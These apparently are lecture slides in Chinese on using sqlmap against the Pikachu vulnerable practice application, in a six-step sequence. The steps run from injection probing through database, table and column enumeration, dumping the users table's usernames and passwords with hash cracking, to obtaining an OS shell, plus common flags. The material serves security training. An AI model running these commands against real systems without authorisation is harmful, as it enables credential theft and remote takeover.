SQL注入漏洞

base on pikachu 

SQL注入漏洞

SQL Inject漏洞之sqlmap的使用

- sqlmap简介
- sqlmap经典6步法及常用技巧
- 使用sqlmap进行盲注的自动化测试

sqlmap简介

what's sqlmap?

Automatic SQL injection and database takeover tool

sqlmap经典用法

第一步：
-u “xxx” --cookie=“yyy” //带上cookie对URL进行注入探测

第二步：
-u “xxx” --cookie=“yyy” –current-db //对数据库名进行获取

第三步：
-u “xxx” --cookie=“yyy” –D pikachu --tables //对数据库的表名进行枚举

第四步：
-u “xxx” --cookie=“yyy” –D pikachu –T users --columns //对dvwa库里面的名为users表的列名进行枚举

sqlmap经典用法

第五步：

-u “xxx” --cookie=“yyy” –D pikachu –T users –C username,password --dump //探测user表name和password字段

----如果此时得到的密码为密文，SQLmap会自动询问，是否爆破，选择“是”即可开始使用SQLMAP自带的字典进行爆破。

第六步：-u “xxx” --cookie=“yyy” – -os-shell //获取shell,选择后台语言：

sqlmap经典用法演示

#具体的操作和讲解过程详见视频演示#

sqlmap经典用法

--help // 显示帮助信息

-v x // x=0~6 ,不同的级别显示不同程度的过程信息，数值越大，越详细；

--dbs //列出所有数据库

--users //显示当前登录的用户，root'@'localhost'

--purge-output //清除之前的缓存日志

--password //对跑出来的密码进行枚举

web安全从入门到放弃

sqlmap经典用法

演示：使用sqlmap对盲注进行自动化测试

演示：SQLmap如何对post请求进行测试

谢 谢

“听”而不思则罔，思而不“练”则殆